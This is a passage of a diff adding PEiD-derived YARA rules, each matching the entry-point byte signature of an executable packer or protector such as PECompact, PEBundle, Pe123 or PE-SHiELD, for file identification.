+        $a = {C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 20 2D 3D FE 20 50 45 2D 50 41 43 4B 20 76 31 2E 30 20 2D FE 2D 20 28 43 29 20 43 6F 70}
+    condition:
+        $a
+}
+
+rule PEiD_01525_PE_PaCK_v1_0_____C__Copyright_1998_by_ANAKiN__h__
+{
+    meta:
+        description = "[PE-PaCK v1.0 -> (C) Copyright 1998 by ANAKiN (h)]"
+        ep_only = "false"
+    strings:
+        $a = {C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 20 2D 3D FE 20 50 45 2D 50 41 43 4B 20 76 31 2E 30 20 2D FE 2D 20 28 43 29 20 43 6F 70 79 72 69 67 68 74 20 31 39 39 38 20 62 79 20 41 4E 41 4B 69 4E 20 FE 3D 2D 20 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4}
+    condition:
+        $a
+}
+
+rule PEiD_01526_PE_PACK_v1_0_by_ANAKiN_1998_______
+{
+    meta:
+        description = "[PE-PACK v1.0 by ANAKiN 1998 (???)]"
+        ep_only = "true"
+    strings:
+        $a = {74 ?? E9 ?? ?? ?? ?? 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01527_PE_Protect_0_9_by_Cristoph_Gabler_1998_
+{
+    meta:
+        description = "[PE-Protect 0.9 by Cristoph Gabler 1998]"
+        ep_only = "false"
+    strings:
+        $a = {50 45 2D 50 52 4F 54 45 43 54 20 30 2E 39}
+    condition:
+        $a
+}
+
+rule PEiD_01528_PE_PROTECT_0_9_
+{
+    meta:
+        description = "[PE-PROTECT 0.9]"
+        ep_only = "true"
+    strings:
+        $a = {E9 CF 00 00 00 0D 0A 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01529_PE_SHiELD_0_2_
+{
+    meta:
+        description = "[PE-SHiELD 0.2]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 41 4E 41 4B 49 4E 5D 83 ED 06 EB 02 EA 04}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01530_Pe123_2006_4_12_
+{
+    meta:
+        description = "[Pe123 2006.4.12]"
+        ep_only = "false"
+    strings:
+        $a = {8B C0 60 9C E8 01 00 00 00 C3 53 E8 72 00 00 00 50 E8 1C 03 00 00 8B D8 FF D3 5B C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B C0 55 8B EC 60 8B 4D 10 8B 7D 0C 8B 75 08 F3 A4 61 5D C2 0C 00 E8 00 00 00 00 58 83 E8 05 C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B}
+    condition:
+        $a
+}
+
+rule PEiD_01531_Pe123_2006_4_4_
+{
+    meta:
+        description = "[Pe123 2006.4.4]"
+        ep_only = "false"
+    strings:
+        $a = {8B C0 EB 01 34 60 EB 01 2A 9C EB 02 EA C8 E8 0F 00 00 00 EB 03 3D 23 23 EB 01 4A EB 01 5B C3 8D 40 00 53 EB 01 6C EB 01 7E EB 01 8F E8 15 01 00 00 50 E8 67 04 00 00 EB 01 9A 8B D8 FF D3 5B C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B C0 55 8B EC 60 8B 4D 10}
+    condition:
+        $a
+}
+
+rule PEiD_01532_Pe123_v2006_4_12_
+{
+    meta:
+        description = "[Pe123 v2006.4.12]"
+        ep_only = "true"
+    strings:
+        $a = {8B C0 60 9C E8 01 00 00 00 C3 53 E8 72 00 00 00 50 E8 1C 03 00 00 8B D8 FF D3 5B C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B C0 55 8B EC 60 8B 4D 10 8B 7D 0C 8B 75 08 F3 A4 61 5D C2 0C 00 E8 00 00 00 00 58 83 E8 05 C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B C0 E8 00 00 00 00 58 C1 E8 0C C1 E0 0C 66 81 38 4D 5A 74 0C 2D 00 10 00 00 66 81 38 4D 5A 75 F4 C3 E8 00 00 00 00 58 83 E8 05 C3 8B C0 55 8B EC 81 C4 4C FE FF FF 53 6A 40 8D 85 44 FF FF FF 50 E8 BC FF FF FF 50 E8 8A FF FF FF 68 F8 00 00 00 8D 85 4C FE FF FF 50 E8 A5 FF FF FF 03 45 80 50 E8 70 FF FF FF E8 97 FF FF FF 03 85 CC FE FF FF 83 C0 34 89 45 FC E8 86 FF FF FF 03 85 CC FE FF FF 83 C0 38 89 45 8C 60 8B 45 FC 8B 00 89 45 F8 89 45 9C 8B 45 8C 8B 00 89 45 88 89 45 98 E8 0D 00 00 00 6B 65 72 6E 65 6C 33}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01533_Pe123_v2006_4_4_
+{
+    meta:
+        description = "[Pe123 v2006.4.4]"
+        ep_only = "true"
+    strings:
+        $a = {8B C0 EB 01 34 60 EB 01 2A 9C EB 02 EA C8 E8 0F 00 00 00 EB 03 3D 23 23 EB 01 4A EB 01 5B C3 8D 40 00 53 EB 01 6C EB 01 7E EB 01 8F E8 15 01 00 00 50 E8 67 04 00 00 EB 01 9A 8B D8 FF D3 5B C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B C0 55 8B EC 60 8B 4D 10 8B 7D 0C 8B 75 08 F3 A4 61 5D C2 0C 00 E8 00 00 00 00 58 83 E8 05 C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B C0 E8 00 00 00 00 58 C1 E8 0C C1 E0 0C 66 81 38 4D 5A 74 0C 2D 00 10 00 00 66 81 38 4D 5A 75 F4 C3 E8 00 00 00 00 58 83 E8 05 C3 8B C0 55 8B EC 81 C4 B8 FE FF FF 6A 40 8D 45 B0 50 E8 C0 FF FF FF 50 E8 8E FF FF FF 68 F8 00 00 00 8D 85 B8 FE FF FF 50 E8 A9 FF FF FF 03 45 EC 50 E8 74 FF FF FF E8 9B FF FF FF 03 85 38 FF FF FF 83 C0 34 89 45 FC E8 8A FF FF FF 03 85 38 FF FF FF 83 C0 38 89 45 F4 8B 45 FC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01534_PE_Admin_V1_0__EncryptPE_V1_2003_5_18_Sold_____Flying_Cat_
+{
+    meta:
+        description = "[PE_Admin V1.0 (EncryptPE V1.2003.5.18 Sold) -> Flying Cat]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C 64 FF 35 00 00 00 00 E8 79 01 00 00 90 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01535_PEArmor_V0_7X____Hying_
+{
+    meta:
+        description = "[PEArmor V0.7X -> Hying]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 55 56 81 C5 ?? ?? ?? ?? 55 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01536_PEBundle_v0_2___v2_0x_
+{
+    meta:
+        description = "[PEBundle v0.2 - v2.0x]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB ?? ?? 40 ?? 87 DD 6A 04 68 ?? 10 ?? ?? 68 ?? 02 ?? ?? 6A ?? FF 95}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01537_PEBundle_v2_0b5___v2_3_
+{
+    meta:
+        description = "[PEBundle v2.0b5 - v2.3]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB ?? ?? 40 ?? 87 DD 01 AD ?? ?? ?? ?? 01 AD}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01538_PEBundle_v2_44_
+{
+    meta:
+        description = "[PEBundle v2.44]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB ?? ?? 40 ?? 87 DD 83 BD}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01539_PEBundle_v3_10_
+{
+    meta:
+        description = "[PEBundle v3.10]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 20 40 00 87 DD ?? ?? ?? ?? 40 00 01}
+    condition:
+        $a
+}
+
+rule PEiD_01540_PECompact_2_00_alpha_38_
+{
+    meta:
+        description = "[PECompact 2.00 alpha 38]"
+        ep_only = "false"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 80 B8 BF 10 00 10 01 74 7A C6 80 BF 10 00 10 01 9C 55 53 51 57 52 56 8D 98 0F 10 00 10 8B 53 14 8B E8 6A 40 68 00 10 00 00 FF 73 04 6A 00 8B 4B 10 03 CA 8B 01 FF D0 8B F8 50 8B 33 8B 53 14 03 F2 8B 4B 0C 03 CA 8D 85 B7 10 00 10 FF 73 04 8F}
+    condition:
+        $a
+}
+
+rule PEiD_01541_PECompact_2_0beta_student_version____Jeremy_Collake_
+{
+    meta:
+        description = "[PECompact 2.0beta/student version -> Jeremy Collake]"
+        ep_only = "false"
+    strings:
+        $a = {B8 ?? ?? ?? EE 05 12 13 13 12 50 64 FF 35 00 00 00 00 64 89 25 00}
+    condition:
+        $a
+}
+
+rule PEiD_01542_PeCompact_2_53_DLL__Slim_Loader_____BitSum_Technologies_
+{
+    meta:
+        description = "[PeCompact 2.53 DLL (Slim Loader) -> BitSum Technologies]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 32 00 00 08 0C 00 48 E1 01 56 57 53 55 8B 5C 24 1C 85 DB 0F 84 AB 21 E8 BD 0E E6 60 0D 0B 6B 65 72 6E 6C 33 32}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01543_PeCompact_2_53_DLL____BitSum_Technologies_
+{
+    meta:
+        description = "[PeCompact 2.53 DLL -> BitSum Technologies]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 00 00 00 08 0C 00 48 E1 01 56 57 53 55 8B 5C 24 1C 85 DB 0F 84 AB 21 E8 BD 0E E6 60 0D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01544_PECompact_2_x____Bitsum_Technologies_
+{
+    meta:
+        description = "[PECompact 2.x -> Bitsum Technologies]"
+        ep_only = "false"
+    strings:
+        $a = {B8 ?? ?? ?? 02 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00}
+    condition:
+        $a
+}
+rule PEiD_01545_PeCompact_2_xx__Slim_Loader_____BitSum_Technologies_
+{
+    meta:
+        description = "[PeCompact 2.xx (Slim Loader) -> BitSum Technologies]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 32 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01546_PECompact_v0_90_
+{
+    meta:
+        description = "[PECompact v0.90]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? 40 00 C3 9C 60 BD ?? ?? 00 00 B9 02 00 00 00 B0 90 8D BD 7A 42 40 00 F3 AA 01 AD D9 43 40 00 FF B5}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01547_PECompact_v0_92_
+{
+    meta:
+        description = "[PECompact v0.92]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 BD ?? ?? ?? ?? B9 02 ?? ?? ?? B0 90 8D BD A5 4F 40 ?? F3 AA 01 AD 04 51 40 ?? FF B5}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01548_PECompact_v0_94_
+{
+    meta:
+        description = "[PECompact v0.94]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 ?? ?? ?? ?? 5D 55 58 81 ED ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 01 85 ?? ?? ?? ?? 50 B9 02}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01549_PECompact_v0_971___v0_976_
+{
+    meta:
+        description = "[PECompact v0.971 - v0.976]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 C3 9C 60 E8 5D 55 5B 81 ED 8B 85 01 85 66 C7 85}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01550_PECompact_v0_977_
+{
+    meta:
+        description = "[PECompact v0.977]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB A0 86 40 ?? 87 DD 8B 85 2A 87}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01551_PECompact_v0_978_1_
+{
+    meta:
+        description = "[PECompact v0.978.1]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 49 87 40 ?? 87 DD 8B 85 CE 87}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01552_PECompact_v0_978_2_
+{
+    meta:
+        description = "[PECompact v0.978.2]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB D1 84 40 ?? 87 DD 8B 85 56 85}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01553_PECompact_v0_978_
+{
+    meta:
+        description = "[PECompact v0.978]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 24 88 40 ?? 87 DD 8B 85 A9 88}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01554_PECompact_v0_98_
+{
+    meta:
+        description = "[PECompact v0.98]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB D7 84 40 ?? 87 DD 8B 85 5C 85}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01555_PECompact_v0_99_
+{
+    meta:
+        description = "[PECompact v0.99]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 2F 85 40 ?? 87 DD 8B 85 B4 85}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01556_PECompact_v1_00_
+{
+    meta:
+        description = "[PECompact v1.00]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB C4 84 40 ?? 87 DD 8B 85 49 85}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01557_PECompact_v1_10b1_
+{
+    meta:
+        description = "[PECompact v1.10b1]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 28 63 40 ?? 87 DD 8B 85 AD 63}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01558_PECompact_v1_10b2_
+{
+    meta:
+        description = "[PECompact v1.10b2]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 94 60}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01559_PECompact_v1_10b3_
+{
+    meta:
+        description = "[PECompact v1.10b3]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 95 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 BB 95}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01560_PECompact_v1_10b4_
+{
+    meta:
+        description = "[PECompact v1.10b4]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 95 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 BB 44}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01561_PECompact_v1_10b5_
+{
+    meta:
+        description = "[PECompact v1.10b5]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 95 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 BB 49}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01562_PECompact_v1_10b6_
+{
+    meta:
+        description = "[PECompact v1.10b6]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 ?? 00 87 DD 8B 85 9A 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 01 85 92 60 40 ?? BB B7}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01563_PECompact_v1_10b7_
+{
+    meta:
+        description = "[PECompact v1.10b7]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 9A 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 01 85 92 60 40 ?? BB 14}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01564_PECompact_v1_20___v1_20_1_
+{
+    meta:
+        description = "[PECompact v1.20 - v1.20.1]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 9A 70 40}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01565_PECompact_v1_22_
+{
+    meta:
+        description = "[PECompact v1.22]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 ?? 70 40 ?? 90 90 01 85 9E 70 40 ?? BB F3 08}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01566_PECompact_v1_23b3___v1_24_1_
+{
+    meta:
+        description = "[PECompact v1.23b3 - v1.24.1]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? D2 08}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01567_PECompact_v1_24_2___v1_24_3_
+{
+    meta:
+        description = "[PECompact v1.24.2 - v1.24.3]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? D2 09}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01568_PECompact_v1_25_
+{
+    meta:
+        description = "[PECompact v1.25]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? F3 0D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01569_PECompact_v1_26b1___v1_26b2_
+{
+    meta:
+        description = "[PECompact v1.26b1 - v1.26b2]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? 05 0E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01570_PECompact_v1_33_
+{
+    meta:
+        description = "[PECompact v1.33]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 80 40 ?? 87 DD 8B 85 A6 80 40 ?? 01 85 03 80 40 ?? 66 C7 85 00 80 40 ?? 90 90 01 85 9E 80 40 ?? BB E8 0E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01571_PECompact_v1_34___v1_40b1_
+{
+    meta:
+        description = "[PECompact v1.34 - v1.40b1]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 80 40 ?? 87 DD 8B 85 A6 80 40 ?? 01 85 03 80 40 ?? 66 C7 85 ?? 00 80 ?? 40 90 90 01 85 9E 80 ?? 40 BB F8 10}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01572_PECompact_v1_40___v1_45_
+{
+    meta:
+        description = "[PECompact v1.40 - v1.45]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB C3 11}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01573_PECompact_v1_40b2___v1_40b4_
+{
+    meta:
+        description = "[PECompact v1.40b2 - v1.40b4]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 86 11}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01574_PECompact_v1_40b5___v1_40b6_
+{
+    meta:
+        description = "[PECompact v1.40b5 - v1.40b6]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 8A 11}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01575_PECompact_v1_46_
+{
+    meta:
+        description = "[PECompact v1.46]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 60 12}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01576_PECompact_v1_47___v1_50_
+{
+    meta:
+        description = "[PECompact v1.47 - v1.50]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 5B 12}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01577_PECompact_v1_4x__
+{
+    meta:
+        description = "[PECompact v1.4x+]"
+        ep_only = "false"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81}
+    condition:
+        $a
+}
+
+rule PEiD_01578_PECompact_v1_55_
+{
+    meta:
+        description = "[PECompact v1.55]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 80 40 ?? 87 DD 8B 85 A2 80 40 ?? 01 85 03 80 40 ?? 66 C7 85 ?? 80 40 ?? 90 90 01 85 9E 80 40 ?? BB 2D 12}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01579_PECompact_v1_56_
+{
+    meta:
+        description = "[PECompact v1.56]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 90 40 ?? 87 DD 8B 85 A2 90 40 ?? 01 85 03 90 40 ?? 66 C7 85 ?? 90 40 ?? 90 90 01 85 9E 90 40 ?? BB 2D 12}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01580_PECompact_v1_60___v1_65_
+{
+    meta:
+        description = "[PECompact v1.60 - v1.65]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 80 40 ?? 87 DD 8B 85 D2 80 40 ?? 01 85 33 80 40 ?? 66 C7 85 ?? 80 40 ?? 90 90 01 85 CE 80 40 ?? BB BB 12}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01581_PECompact_v1_66_
+{
+    meta:
+        description = "[PECompact v1.66]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 ?? 87 DD 8B 85 E6 90 40 ?? 01 85 33 90 40 ?? 66 C7 85 ?? 90 40 ?? 90 90 01 85 DA 90 40 ?? 01 85 DE 90 40 ?? 01 85 E2 90 40 ?? BB 5B 11}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01582_PECompact_v1_67_
+{
+    meta:
+        description = "[PECompact v1.67]"
+        ep_only = "true"
+    strings:
